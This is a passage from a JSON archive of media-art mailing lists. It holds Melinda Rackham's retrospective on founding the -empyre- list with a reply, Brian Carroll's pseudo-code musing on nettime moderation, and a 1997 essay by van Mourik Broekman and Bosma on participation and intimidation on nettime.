nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Wed, 14 Oct 1998 05:42:16 -0400",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199810141120.MAA27914 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00097.html",
                "list": "nettime_l",
                "author_name": "MediaFilter",
                "subject": "<nettime> Surprise Attack: Re-Routing Nettim"
            },
            {
                "content-type": "n/a",
                "from": "melinda at subtle.net",
                "content": "hello -empyre-\n\nThat it is eleven and a half years since I sent out invitations to 50 people to join -empyre-  is  quiet unbelievable!\n\nI was looking for that original email invitation however it seems to have been lost several laptops ago - instead I've located an article from September 2002... an archival window into  -empyre-  as a fast growing 9 month old baby...\n\nAt that time I was writing my Phd, building non propriety 3d worlds, and -empyre- was instigated as a forum to discuss theoretical issues around virtual and media art practices. The early -empyre- years ended for me in late 2005, participating only sporadically  while I was Director of ANAT, then curating in Australia and China. My last -empyre- discussion was Manifest Dynasty: Media Arts in China, co-moderated with Edward Sanderson in November 2010.  For anyone interested there is a fascinating archive of the early guests and topics here -  http://www.subtle.net/empyre/guests.html\n\nMy personal -empyre- era seems forever ago. Currently I'm totally enjoying being off grid - researching a book titled Attachment - exploring forced adoption, loss and identity formation. The work is primarily autobiographical; seamed by the fictions of virtual and imagined reality; anchored by the psychology of Attachment Theory. Its a different perspective on the relational realities I've explored over many medias and decades. \n\nI have met so may wonderfully articulate, generous and very smart people through -empyre- over the years - too many of you to name - who stimulated my intellect and enriched my emotional landscape.  I'd like to specially shout out to the dedicated moderator team I worked with for the longest period - Christina McPhee, Michael Arnold Mages and Jim Andrews.- u rocked!  Congratulations to todays' moderators for keeping pushing new boundaries,  and too everyone who has contributed in moderation, administration, technically and in discussion to make -empyre- the sophisticated community it is today.\n\nlong live -empyre-\n\nMelinda Rackham\n\n*****\n\n-empyre- :: soft skinned space\n\n-empyre- mailing list sprang into being in January 2002, hosted on the College of Fine Arts server at UNSW. It is an online forum which regularly invites guest artists, theorists, curators, producers or administrators from the Australia/Pacific and International media arts field to discuss their projects, publications, pet theories and productions. It intends to focus on media art issues in depth, without necessarily being academically referenced, or concerned with delineating areas of practice into interactive, or digital, 2 or 3D, net or rom, or PDA, or flash, or image or text.\n \nThe list has a specific format for a number of reasons. Over the years I had been getting frustrated with the low ratio of signal to noise on other lists, and seeing lists like Recode and Syndicate be torn apart by the constant revision of the social structure of the list - i.e. discussions over what was appropriate in mailing list etiquette in terms of announcements and postings.  How to deal with those who were perceived to break these codes of behaviour overtook actually talking about media arts topics and the lists died. I also wanted a discussion space which would explore topics specific to 3d spaces on the web, as I had been working in that area of practice for a few years and discovered a vibrant global community discussing the technical issues associated with web3d, but no avenues for the more aesthetic or theoretical discussions of networked dimensional environments. And most importantly, I saw other lists where the culture of the Internet and impacts of technology were being discussed by writers and academics, but not by artists who were making work in the field.\n \n\u2013empyre\u2013 aims  to fill those gaps. How it works is that each invited guest speaker has the list for period of time to discuss different aspects of their new media practice, or their books or their sites, or performances, or curated shows. After a few format changes\u2026 (our first guest, theorist and artist Ollivier Dyens, held the forum space for almost 6 weeks discussing his book and website Metal and Flesh,) list guests are generally now in two-week slots. Topics range from artist/curator Patrick Lichty speaking on PDA, wearable, and hand-held art; to producer Antoanetta Ivanova discussing digital copyright and artist rights online.\n \nOffline \u2013empyre- would equate to a casual lecture series, or a resident workshop program. The list provides the space and the audience, the guest decides the  topic, and is responsible for posting. Lately I have been organising guests with complimentary interests for each month, eg Adrian Miles and Jill Walker from RMIT, Melbourne and University of Bergen, Norway discussed blogs and video blogs; and Curators/writers Val\u00e9rie Lamontagne and Sylvie Parent, both from Montr\u00e9al discussed aspects of gallery and online curation, web history and factors relating to the visibility of web.art. \n \nThe list aims to have diversity in its scheduled topics, and to be flexible enough to adapt to current events. In March this year, while the Web3d Art show was physically installed at the ICA London, \u2013empyre- simultaneously provided an online forum, where a large number of the artists from the show, including John Klima Jaka Zeleznikar and Tamiko Theil discussed the issues in their work. Similarly, E-lounge the online follow-up from an Atlantic rim conference held in east coast Canada is coming up in October, covering issues like net.art and wireless networks. Other forthcoming guests and topics include a discussion on projected identity and public /private web spaces with code poet Mez; the Japanese mathematically based Method art movement with Hideki Nakazawa ; Cyber feminisms with Julianne Pierce; Constructing Virtuality and Avatar Manifestos with Gregory Little  and Joseph Nechvatal; and Artificial Life with theorist Mitchell Whitelaw.\n\nWhen I launched \u2013empyre- as an experiment, I thought it would be a cosy intimate group of around 50 people, however it attracted diverse subscribers. The numbers go up and down as people try it out to see if they like it, some people who\u2019ve been there a while leave, others join for a specific guest or topic. Currently it\u2019s around 370 subscribers, with around 40% from the Australia/Pacific region, the rest from North America and Europe with a splattering from Eastern Europe , South America and Asia. One of my future goals for the list is to expand the subscribership in Asian regions.\n \nIt is a low to moderate traffic list with an average of 30 messages a week. Regularly about 15% of subscribers post - there are a few who have something to contribute to the discussion on every topic, as well as constantly changing posters dependent on the guest and topic. The rest of \u2013empyre-  are silently lurking\u2026 which is an interesting form of participation. Recently I overheard someone on the list who had never posted, discussing a list topic in an offline context, and I realised that a mailing list\u2019s influence is far beyond what happens publicly online, it reverberates - becomes interactive in the wider community. People contribute by reading, nothing is passive. A lot of people also make interesting observations either to myself or to the current guest instead of the whole list, as it does take time to become involved with an online discussion. To quote Sean Cubitt \u2013empyre-\u2018s August guest - \u201cOne thing I wanted to murmur about here is time: the proliferation of different times. There's the time of sending, the time of reading and the time of replying on a list.\u201d\n \nList etiquette issues of course are always present\u2026 from its inception I have had strong guidelines as to what are appropriate postings, for example -empyre- is not a chat space, nor an announcement or self-promotion list, nor online performance space. It\u2019s for topic discussion only, and I state up front that I will unsubscribe anyone who consistently disregards these guidelines without entering into debate. And I\u2019ve had to remove or ask a few people to unsubscribe already. So it is quiet strict in that sense, however if people don\u2019t like those guidelines there are many other lists available.\n \nInitially I thought \u2013empyre- would run for a year and then close, as it takes time and energy to maintain a list, however because it works well and the format has built a momentum, it will continue.  Christina McPhee, a US West Coast media artist, and Adrian Miles from RMIT, Melbourne are joining me as co-moderators and co- administrators, scheduling next years guests and topics. We are always looking for others interested in maintaining this locally based spunky online community.\n \nMelinda Rackham\nSeptember 2002\nmelinda at subtle.net\n\n******\n\n\n",
                "id": "6444",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2013-June/006444.html",
                "follow-up": [
                    {
                        "from": "renateferro at gmail.com",
                        "content": "Awesome....any other contact info etc???? If not either you can post directly after I introduce the month or I can do it for you. Thanks ever so much. Renate\n\nSent from my iPhone\n\nOn Jun 2, 2013, at 12:02 AM, Melinda Rackham <melinda at subtle.net> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> hello -empyre-\n> \n> That it is eleven and a half years since I sent out invitations to 50 people to join -empyre-  is  quiet unbelievable!\n> \n> I was looking for that original email invitation however it seems to have been lost several laptops ago - instead I've located an article from September 2002... an archival window into  -empyre-  as a fast growing 9 month old baby...\n> \n> At that time I was writing my Phd, building non propriety 3d worlds, and -empyre- was instigated as a forum to discuss theoretical issues around virtual and media art practices. The early -empyre- years ended for me in late 2005, participating only sporadically  while I was Director of ANAT, then curating in Australia and China. My last -empyre- discussion was Manifest Dynasty: Media Arts in China, co-moderated with Edward Sanderson in November 2010.  For anyone interested there is a fascinating archive of the early guests and topics here -  http://www.subtle.net/empyre/guests.html\n> \n> My personal -empyre- era seems forever ago. Currently I'm totally enjoying being off grid - researching a book titled Attachment - exploring forced adoption, loss and identity formation. The work is primarily autobiographical; seamed by the fictions of virtual and imagined reality; anchored by the psychology of Attachment Theory. Its a different perspective on the relational realities I've explored over many medias and decades. \n> \n> I have met so may wonderfully articulate, generous and very smart people through -empyre- over the years - too many of you to name - who stimulated my intellect and enriched my emotional landscape.  I'd like to specially shout out to the dedicated moderator team I worked with for the longest period - Christina McPhee, Michael Arnold Mages and Jim Andrews.- u rocked!  Congratulations to todays' moderators for keeping pushing new boundaries,  and too everyone who has contributed in moderation, administration, technically and in discussion to make -empyre- the sophisticated community it is today.\n> \n> long live -empyre-\n> \n> Melinda Rackham\n> \n> *****\n> \n> -empyre- :: soft skinned space\n> \n> -empyre- mailing list sprang into being in January 2002, hosted on the College of Fine Arts server at UNSW. It is an online forum which regularly invites guest artists, theorists, curators, producers or administrators from the Australia/Pacific and International media arts field to discuss their projects, publications, pet theories and productions. It intends to focus on media art issues in depth, without necessarily being academically referenced, or concerned with delineating areas of practice into interactive, or digital, 2 or 3D, net or rom, or PDA, or flash, or image or text.\n> \n> The list has a specific format for a number of reasons. Over the years I had been getting frustrated with the low ratio of signal to noise on other lists, and seeing lists like Recode and Syndicate be torn apart by the constant revision of the social structure of the list - i.e. discussions over what was appropriate in mailing list etiquette in terms of announcements and postings.  How to deal with those who were perceived to break these codes of behaviour overtook actually talking about media arts topics and the lists died. I also wanted a discussion space which would explore topics specific to 3d spaces on the web, as I had been working in that area of practice for a few years and discovered a vibrant global community discussing the technical issues associated with web3d, but no avenues for the more aesthetic or theoretical discussions of networked dimensional environments. And most importantly, I saw other lists where the culture of the Internet and impacts of technology were being discussed by writers and academics, but not by artists who were making work in the field.\n> \n> \u2013empyre\u2013 aims  to fill those gaps. How it works is that each invited guest speaker has the list for period of time to discuss different aspects of their new media practice, or their books or their sites, or performances, or curated shows. After a few format changes\u2026 (our first guest, theorist and artist Ollivier Dyens, held the forum space for almost 6 weeks discussing his book and website Metal and Flesh,) list guests are generally now in two-week slots. Topics range from artist/curator Patrick Lichty speaking on PDA, wearable, and hand-held art; to producer Antoanetta Ivanova discussing digital copyright and artist rights online.\n> \n> Offline \u2013empyre- would equate to a casual lecture series, or a resident workshop program. The list provides the space and the audience, the guest decides the  topic, and is responsible for posting. Lately I have been organising guests with complimentary interests for each month, eg Adrian Miles and Jill Walker from RMIT, Melbourne and University of Bergen, Norway discussed blogs and video blogs; and Curators/writers Val\u00e9rie Lamontagne and Sylvie Parent, both from Montr\u00e9al discussed aspects of gallery and online curation, web history and factors relating to the visibility of web.art. \n> \n> The list aims to have diversity in its scheduled topics, and to be flexible enough to adapt to current events. In March this year, while the Web3d Art show was physically installed at the ICA London, \u2013empyre- simultaneously provided an online forum, where a large number of the artists from the show, including John Klima Jaka Zeleznikar and Tamiko Theil discussed the issues in their work. Similarly, E-lounge the online follow-up from an Atlantic rim conference held in east coast Canada is coming up in October, covering issues like net.art and wireless networks. Other forthcoming guests and topics include a discussion on projected identity and public /private web spaces with code poet Mez; the Japanese mathematically based Method art movement with Hideki Nakazawa ; Cyber feminisms with Julianne Pierce; Constructing Virtuality and Avatar Manifestos with Gregory Little  and Joseph Nechvatal; and Artificial Life with theorist Mitchell Whitelaw.\n> \n> When I launched \u2013empyre- as an experiment, I thought it would be a cosy intimate group of around 50 people, however it attracted diverse subscribers. The numbers go up and down as people try it out to see if they like it, some people who\u2019ve been there a while leave, others join for a specific guest or topic. Currently it\u2019s around 370 subscribers, with around 40% from the Australia/Pacific region, the rest from North America and Europe with a splattering from Eastern Europe , South America and Asia. One of my future goals for the list is to expand the subscribership in Asian regions.\n> \n> It is a low to moderate traffic list with an average of 30 messages a week. Regularly about 15% of subscribers post - there are a few who have something to contribute to the discussion on every topic, as well as constantly changing posters dependent on the guest and topic. The rest of \u2013empyre-  are silently lurking\u2026 which is an interesting form of participation. Recently I overheard someone on the list who had never posted, discussing a list topic in an offline context, and I realised that a mailing list\u2019s influence is far beyond what happens publicly online, it reverberates - becomes interactive in the wider community. People contribute by reading, nothing is passive. A lot of people also make interesting observations either to myself or to the current guest instead of the whole list, as it does take time to become involved with an online discussion. To quote Sean Cubitt \u2013empyre-\u2018s August guest - \u201cOne thing I wanted to murmur about here is time: the proliferation of different times. There's the time of sending, the time of reading and the time of replying on a list.\u201d\n> \n> List etiquette issues of course are always present\u2026 from its inception I have had strong guidelines as to what are appropriate postings, for example -empyre- is not a chat space, nor an announcement or self-promotion list, nor online performance space. It\u2019s for topic discussion only, and I state up front that I will unsubscribe anyone who consistently disregards these guidelines without entering into debate. And I\u2019ve had to remove or ask a few people to unsubscribe already. So it is quiet strict in that sense, however if people don\u2019t like those guidelines there are many other lists available.\n> \n> Initially I thought \u2013empyre- would run for a year and then close, as it takes time and energy to maintain a list, however because it works well and the format has built a momentum, it will continue.  Christina McPhee, a US West Coast media artist, and Adrian Miles from RMIT, Melbourne are joining me as co-moderators and co- administrators, scheduling next years guests and topics. We are always looking for others interested in maintaining this locally based spunky online community.\n> \n> Melinda Rackham\n> September 2002\n> melinda at subtle.net\n> \n> ******\n> \n> \n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n> \n> \n",
                        "id": "6445",
                        "date": "Sun Jun  2 14:23:35 EST 2013",
                        "message-id": "6445",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2013-June/006445.html",
                        "content-type": "n/a",
                        "author_name": "Renate Ferro",
                        "subject": "[-empyre-] \u2026 once upon a time ..."
                    }
                ],
                "message-id": "6444",
                "date": "Sun Jun  2 14:02:44 EST 2013",
                "list": "empyre",
                "author_name": "Melinda Rackham",
                "subject": "[-empyre-] \u2026 once upon a time ..."
            },
            {
                "content-type": "text/plai",
                "from": "brian carroll <human {AT} architexturez.com>",
                "content": "\n\n# writing is an impossibility. writing universally. communicating\n# has limits. sound, image, text. all have ways of seeing, ways\n# of perceiving. there is no unbiased author, no unbiased text.\n# language changes, time changes. meaning changes. ways of seeing\n# and saying and doing, all change. thus the nettime signature file:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n# a question arises, as a subscriber/participant in this networked\n# space-time. it centers around nettime's definition as a list, and\n# its mission/purpose, and the context(s) in which it arose...\n# in this last footer, a few statments about nettime's identity are\n# made, which are as follows:\n\n nettime1 = net criticism + collaborative text filtering + cultural\n            politics of the nets\n\n nettime2 = moderated mailing list\n\n# from a subscribers perspective, there seems to be a conflict within\n# this constitution of the list:\n#\n# this is to say that the issue of moderation does not cleanly fit\n# together with criticism + collaborative filtering + cultural politics\n\n nettime1 =/= nettime2\n\n# first, this is a condition or a situation of mailing lists, not of\n# nettime alone, in my experience. but it is also something that needs\n# to be interrogated and investigated to see if there are any other\n# alternatives for the goals. yet i am left wondering...\n\n does nettime1 = nettime_now?\n\n# first, addressing the thorny issues surrounding nettime2 as a\n# moderated mailing list. apparently this has been a constant issue\n# and i imagine something of a daily issue for those moderating, if\n# indeed there is a lot, some, or no moderation going on. it is a\n# spectre that seems to haunt the idea of open-communications about\n# politics, and criticism, in that, there being no real universal\n# meaning/understanding/language, the decision can never be uniform.\n# i.e., nettime means something different for every participant...\n\n IF there is no uniform language (universal understanding/meaning)\n\n THEN can there be a uniform, and thus, fair moderation mechanism?\n\n# nettime exists, embedded in language. while ideas are exchanged,\n# they are done so in and of language. yet, in my eyes, nettime\n# would probably not delve into language_as_language as it might\n# seem off-topic. and it might well be, in some contexts, but not\n# in others. but moderators may not see it the same way. so what\n# way are we all seeing the texts we input and get as output..?\n\n IF uniform language does not exist and moderation does exist\n\n THEN a basic understanding of what makes nettime a common forum\n for imperfect language could be established which constitutes a\n shared, although imperfect understanding of `what is nettime'.\n\n = nettime?\n\n# to check the above statement, we need to parse the signature\n# file through the code:\n\n does nettime1 = nettime?\n\n (net criticism + collaborative text filtering + cultural politics\n of the nets) = (common forum + imperfect language + understanding)?\n\n# it is a muddled question, the variables for variable_nettime? would\n# need to be determined, but in my personal experience, i do not see\n# these two being equal, given the following parse...\n\n criticism + filtering + politics + culture =/= nettime?\n \n# this is not because of an arrogant view that nettime must serve\n# an individual's view of nettime. but that the keywords, as keywords,\n# criticism, filtering, politics, culture, are all multidimensional\n# and cross-culturally, dissimilar, if only because of language itself.\n\n question1 =    \"is there more to understand in the language of nettime\n                than in the texts of nettime?\"\n\n IF question1 = True\n\n THEN nettime exists as language filter, processing meaning\n\n IF question1 = False\n\n THEN nettime exists as a textual filter, processing interpretation\n based on specific language (texts in English, Dutch, Spanish, etc.)\n\n\n# this brings up another question that is central to the nettime.sig...\n\n\n question2 =    \"can moderation of nettime1 ever be separated from\n                its political dimensions?\"\n\n# one could say: IF question1 = False, THEN question1 = False, and\n# conclude that, because of 'textual' and not 'lingual' understanding,\n# that cultural politics are what skews nettime as a moderated forum,\n# in that texts are being filtered for interpretations, and not meaning.\n# this is not to say this is actually the case, but by leaving these\n# variables undefined, it could be perceived, and at times it could\n# be the case that meaning is overridden by pre-interpretation. but\n# equally, could there not be texts with almost no meaning that also\n# make it through moderation because of this very same paradoxical\n# phenomenon, so that:\n\n any nettime1 moderation = censorship, fascist moderators, et cetera.\n\n# if it is a truism that 'all politics is local', might it not also\n# be possible that all nettime moderation is inherently political?\n# thus, what are the chances that nettimers share the same politic\n# and that nettime represents such a unified front- nil, anyone?\n\n IF nettime is a unified entity\n\n AND it is inherently political, from moderation to contributors\n\n THEN when nettime is referred to as a group, such as 'the\n nettime crowd', does this presuppose a shared political view?\n\n IF SO what is this shared political view?\n\n# i myself believe there is no such view, and can be no such view\n# in terms of texts, culture, the internet, and collaboration on\n# these terms. not that politics is an end-use to aim for. this is\n# not because of having a better system, but because of the belief\n# in the fallibility of interpretation, logic, and language in the\n# act of communicating and thinking ideas, and reality itself.\n# what is our shared reality? what is 'our', or 'we', in terms\n# of nettime? or is there no common 'we', some level of shared\n# understanding and meaning... beyond the subjective/objective,\n# beyond the dichotomy, lies paradox. the EITHER-OR goes N-OR,\n# and BOTH-AND. things are much less clear, yet more realistic.\n\n# Therefore, what are the assumptions of...\n\n nettime? = shared understanding, shared meaning?\n\n# for example, the word 'intelligentsia' may for a certain majority\n# evoke one image, for another group another, or even more complexly,\n# many views, none of which is in any sense finalized, but it is\n# left-to-be-decided/interpreted, while others already have their\n# interpretations, thus, the universal meaning may be there in the\n# language of the idea, but not in the interpretation of the text.\n# this, not being an anomaly but ever-present and pervasive in the\n# discourse, of language as text, sound, image: interpreted.\n\n nettime = source code (language) that is already compiled (interpreted)\n\n# to talk/discuss (discourse) just about the compilations without\n# addressing the basic foundations in language is to make a huge\n# assumption that we pre-exist with some kind of shared meaning.\n# quicker, it would be, to recognize there is no shared meaning\n# and to go about finding a base knowledge from which to speak,\n# share, act on common goals, but instead, discourse dis-courses...\n\n# there is a thing i believe could be said to be 'the condition of\n# nettime' in that, online, everyone is here, relating, and trying\n# to find some commonality from which to work. for some it is much\n# easier because of geography and the shared interests, such as\n# `English football clubs and community initiatives to buy them out\n# as a way of making action in the world' involved. the tangibilty\n# of action is localized. nettime is globalized. a condition, in\n# that net.time could be considered networked.time+space, given\n# the physics of time and its entwined relationship with space.\n\n question3 = does networked.space-time define only online space-time,\n             or does it include the networking of space and time,\n             and if so, via what mediums. is nettime any less about\n             the telephone or radio than about the networked computer?\n\n# here's the overall statement running through my head, causing me\n# constant crashes when trying to interpret nettime compilations...\n\n \"the condition of nettime?\" =  reverse-engineering, through the\n                                interpreted text, a shared meaning\n                                of language, and thus the universe.\n\n# thus, shared ideas are embedded in texts, and their interpretations\n# and not in ideas and their meaning. or so it is posited... case in\n# point...\n\n# one could attempt to find a universal understanding/meaning for\n# JODI's work online. this could be done cross-culturally, through\n# texts, using specific languages, but with similar interpretations.\n# yet the difference in understanding will always, inherently be\n# there, in the text, as it is a lossy medium. there is always\n# another perspective, another view. what is common about JODIs\n# work? i would contend that the universality of JODIs work is\n# not likely to be found in any art history book, or in any attempt\n# to understand the works without understanding their contexts.\n# thus, the statement:\n\n { a universal understanding of JODIs work is more likely to come\n from understanding electrons, molecules, and a handful of dirt,\n than in any world history of art, because of the imperfection\n of interpreted language. how can one view JODIs work without\n understanding the lineage for the medium in which such works,\n and their logics, are based? While coding may in some sense\n be more uniform than other languages, in its usage as text,\n it still needs to be compiled, and interpreted by the end-\n user/perceiver. and belief plays a role. what if there is no\n overriding shared/common belief? does this make a universal\n textual analysis/discourse of the work infeasible? }\n\n# a speculative statement based on the above:\n\n { meaning is pre-supposed but does not actually pre-exist }\n\n we make meaning. who is we?\n\n if nettime makes meaning, who is nettime?\n\n is there any shared meaning on nettime?\n\n if so, is nettime's shared meaning closer to dirt or to net.art?\n\n do nettimers' universally share their interpretations of language\n more with the intersubjective facts (truths) of electrons or JODIs\n art-works/texts? \n\n# these are not meant to be derogatory statements to net.art,\n# whatever that is understood as being. as interpretation is\n# unclear, universally, the statement could mean multiple\n# things, such is the nature of the distributed mailing list.\n\n# thus, when words like ideology and institutions and keywords\n# being defined by others in different ways than another's meaning,\n# all are examples of the fissure between the interpretation of\n# language and its meaning. to focus on interpretation, while also\n# assuming shared meaning, is the Achilles heel of nettime. but even\n# this statement is particular. if there is no shared identity, how\n# can there be a shared meaning? if there is no shared meaning, how\n# can there be any shared interpretation of the text, that is not\n# itself always embattled with mis-reading as an altruistic goal\n# in the Production of Discourse as Discourse, an end-in-itself?\n\n# it might be interesting to conduct a nettime census, but then\n# again, it might not. could be done using a free cgi-poll, and\n# the questions could be made up in advance. but then again, it\n# would define nettime as a group, as would the questions, which\n# could also be negative, in terms of market research and its use\n# in playing to the crowd. it is just this overwhelming sense of\n# assumption, not nettime-specific, but nettime-aware that people\n# on nettime are more likely than others to take up and find a\n# way onward, to do the things that many have gotten online in\n# the first place for, to organize, to make a difference by\n# working together with others on shared ideas and goals...\n\n nettime? = what are these shared goals and ideas?\n\n# in my opinion:\n\n nettime? =/= cultural politics, text filtering, net criticism\n\n# as these are all based on the interpretation of texts, and not\n# their meaning as language, and with the identities of the people\n# whom are ciphering and deciphering this meaning.\n\n networked.space-time = nettime?\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "id": "00130",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00130.html",
                "to": "nettime-l <nettime-l {AT} bbs.thing.net>",
                "message-id": "200102150147.UAA17121 {AT} bbs.thing.net",
                "date": "Wed, 14 Feb 2001 00:18:37 +0000",
                "list": "nettime_l",
                "author_name": "brian carroll",
                "subject": "<nettime> Re: the condition of net.tim"
            },
            {
                "from": "jesis {AT} xs4all.nl (j bosma)",
                "content": "\nstuk [het]= *(aandeel)share, security\n*(staaltje)een stout stukje: a bold\nfeat*(aantrekkelijk persoon) male:\nhunk, stud. female: piece*(geschrift)\ndocument, article.\n\nby Paulien van Mourik Broekman and Josephine Bosma\n\n\nNeither of us were there when Nettime was born, but we \nthink we are close enough to the source to know its \nradiation, its personality almost. Nettime can nearly \nbe treated as a character. Its loose form and the firm \nbut loving embrace of its participants give it a different \nfeel then do its descendants or its copycats. However, \nthere is still something uncomfortable about it, which we \nwill try to get as close as possible to in the following text.\n\nWhat is most striking about Nettime is its wish for close \npersonal contact. Nettime-meetings have been organised under \nthe banner of conferences like Next5Minutes or Metaforum, \nand a big one which truly shows Nettime's sweet face is the \nmeeting planned for May 97 which will be held in three\ndifferent cities in former Yugoslavia: Ljubljana, Zagreb \nand a searesort.\nNettime seems to be an island of humanity in the mediated \nworld of the net and its periphery. Anybody can send anything \nat anytime to its open list. Though, for a discussion mailing \nlist, this is in itself not unusual, combined with the very \nhuman and personal treatment of its members, it means that \nNettime could be a fertile breeding ground for new writing\ntalents, a free space to experiment with styles and thoughts \nfor artists or theorists or what is most interesting: it could \nbe a place for non-writers in the extreme sense of the word \nto vent their opinions on highly philosofical matters, a place \nwhere professional intellectuals and illiterate mediaworkers \ncommunicate. And this is where something seems to go wrong.\n\nNettime has a lot of members. The issues that pass the revue \ntitillate many minds . Yet only a very small part of its members \n'open fire', even when the battle is practically in their own \nbackyard. We have heard someone say he is afraid to write. Why \nis that? Speaking in public is not easy, most of us know that, \nwith the exception of the natural performers. But is that the\nonly problem? From many sides the same remarks about Nettime \nare heard over and over again. The texts, the announcements \nand the world that seems to be hidden behind them are found \nextremely interesting, but there is this enormous treshhold fear \nto react. And it seems to have something to do with these same \ngood texts.\n\n\nAt conferences the way an idea is communicated is a mixture \nof that of the objective, learned scholar/professional and \nthat of the masterspeaker, the politician, the salesman. \nTheories are presented and discussions are initiated in the \noldfashioned manner of the college, where knowledge was a\nclearly shaped object of power, with a beginning and an end \nand, perhaps, guards flanking its sides. Even the audience \nseems to submit to these rules of polite respect for the erect \nmanner of speaking that also dominates the universities and \npolitical meetings. \nThe way texts and knowledge is spread and treated through \nnew media might not just offer new possibilities, but it might \nbe a revolution which even academies will have to deal with. \nNew media are not just effecting old media like books, tv or \nradio. It also effects institutions. Their heritage needs to \nbe dealt with and transformed. It is not so that we mean to \nsay that what comes out of this heritage, like styles of writing \nand thinking, is wrong or needs to be dumped. It just feels a \nbit uncomfortable.\n\nFortunately Nettime does not pay its contributors for their \nefforts. This saves us from endless plowing through the long, \nhighly abstract theoretical pieces of the professional macho \ntheorists who like their masturbative seeds to choke the \nthroats of the doubting student, the searching poet or the \nwacko artist. Many writers still have these sharp, fast pens \nthough, which they learned to hold so well during their \nprofessional careers. And only the wackos seem to have\nthe (unconscious?) guts to reply to them. What happens instead\nof the shared tought trains often is the safer but less effective\nprivate mail exchanges, the whispering at the backdoor, which\ntakes the sting out of the debate. The only way to fight \nthis syndrome without losing the credibility or impact of \nnet.criticism is probably to work with an awareness of how \ntextual critical authority, maybe invisible to its producer,\ncan simultaneously encourage and suppress the introduction of new voices/communications.\n\n\nThe metaphor of the academy can also be used in a more \npositive way though, as - though invisible due to the same \ncharacteristics that make the net such fertile ground for \ngender switching etc. - the range of ages, professional and \npersonal experiences of those who subscribe to Nettime is \nno doubt vast. The email communicated thinking, feeling and \nbeing that make up Nettime's shared persona touches on the \nvery slippery areas where practice, personal experience and \ntheory (for want of a better word) intersect. In fact, don't \nthey in most social interactions?\nDistinctions made here between these categories are, \nby necessity, crude. Given that this is what we have to play \nwith, the fact remains that some postings will seem more \nrelevant to some than others, for reasons that go beyond simple \nqualitative criteria.\n\nSome postings that may seem like so much \"noise\" to 'seniors' \nconcerned with their own particular patch of high-theoretical \ndiscussion, may link in more directly with the lives and \nlifestyles of other subscribers. Yet conversely, those \nself-same subscribers (and we say this from experience) \nlearn much from even the shortest exchange on topics they may\nnot be intimately familiar with. A more personal inflection \non otherwise theoretical postings manages to communicate the \nreally valuable experience gleaned from working in an area \nover a long period of time.\n\n\nThe issue of noise does clearly connect with Alexei Shulgin's \nplea for avoiding professionalism in favor of freedom for \ndevelopment and experimentation, which he seems to have meant \nfor the art-side of Nettime mostly. This is applicable to the \nwhole of Nettime's working field though.\nThe tempting and sometimes threatening idea of separating the\nart-hemisphere from supposedly more practical workingfields seems\ncompletely out of place in the context of the experimentation \nworkers in new media are inevitably obliged to engage in.\n\nOf course this broadening of discussion can also slide into a \nsituation where... 'plus ca change': the 'lurkers' feel \nprivileged to listen to the masterspeakers, not just in the \nlecture hall as before, but in the newly-opened private spaces \nof the gents' loo and the corner of the professors' refectory.\n\nIt is a pity that some interesting professional writers whom we\nknow must have eye and heart for helping to find a solution to \nthis problem are too busy being professional elsewhere. Of course, \nnot everyone has the tireless energy of the few one-man \nbroadcasting houses that push Nettime forward (thanks) so perhaps \nit wouldn't be a bad thing if some others circulating in the \ntechnoculture circuit  would every now and then step down from \ntheir pedestal and be among the crowds again, not just at \nconferences, that seem to be like holiday camps to them and where \nof course personal exchanges of ideas and inspiration are limited \nto small groups of people only.\n\nWe have to say that eventhough these mechanisms that we have \ndescribed above are in our opinion the major reason why the \nNettime platform does not work to its fullest possibilities, \nthere have also been a few little incidents on Nettime that \nhave created the impression that one has to be careful with\npostings. A few times people have been thrown of the list \nfor reasons that were not always clear to everybody, but \nseemed to have to do with certain not clearly visible *rules*.\nNot everybody has the chance to ask the moderators face to face \nwhat is going on and to discuss it. For this reason it seems \nnecessary that after such an incident, and hopefully we will \nnot have too many, a warm and inspiring invitation to doubters \nand searchers is spread, which could maybe also function as a \nkind of basic, userfriendly Nettime manifesto.\n\nNettime is a social entity; above all else its energy comes \nfrom its community-oriented nature. The above is not meant as \na dead-end complaint.\nIt is more a response to a slightly troubling and seemingly \ncontradictory tendency within the discussions of nettime that \nhave discouraged certain interesting subscribers to participate. \nIn the long run this may create problems, nobody likes being \nan unintentional lurker. The network of subscribers is a valuable \none for all of us, and loosing good but in the world of \ntheorywriting inexperienced people due to inaccessability would \nbe a damn shame. If we are to avoid building with institutionalised \nmale dominated structures of theoretical discourse that existed \nwithin the academy of old, which profitted from specialisms, \nnarrowing the gaze and heading for one clear goal, and we reflect \nnow, in practice, the diversity of this list, the threads of this \ntendency might need to be unpicked and rewoven.\n\n\n\n\nPaulien= editor of Mute mute {AT} easynet.co.uk/ W: www.metamute.co.uk  London\n\nJosephine = radio-maker Radio Patapoe 97.2FM  ptp {AT} desk.nl  Amsterdam             \n                             \n\n*\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "id": "00084",
                "list": "nettime_l",
                "date": "Mon, 27 Jan 1997 09:08:29 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "af120cae0102100479f6 {AT} [194.109.45.225]",
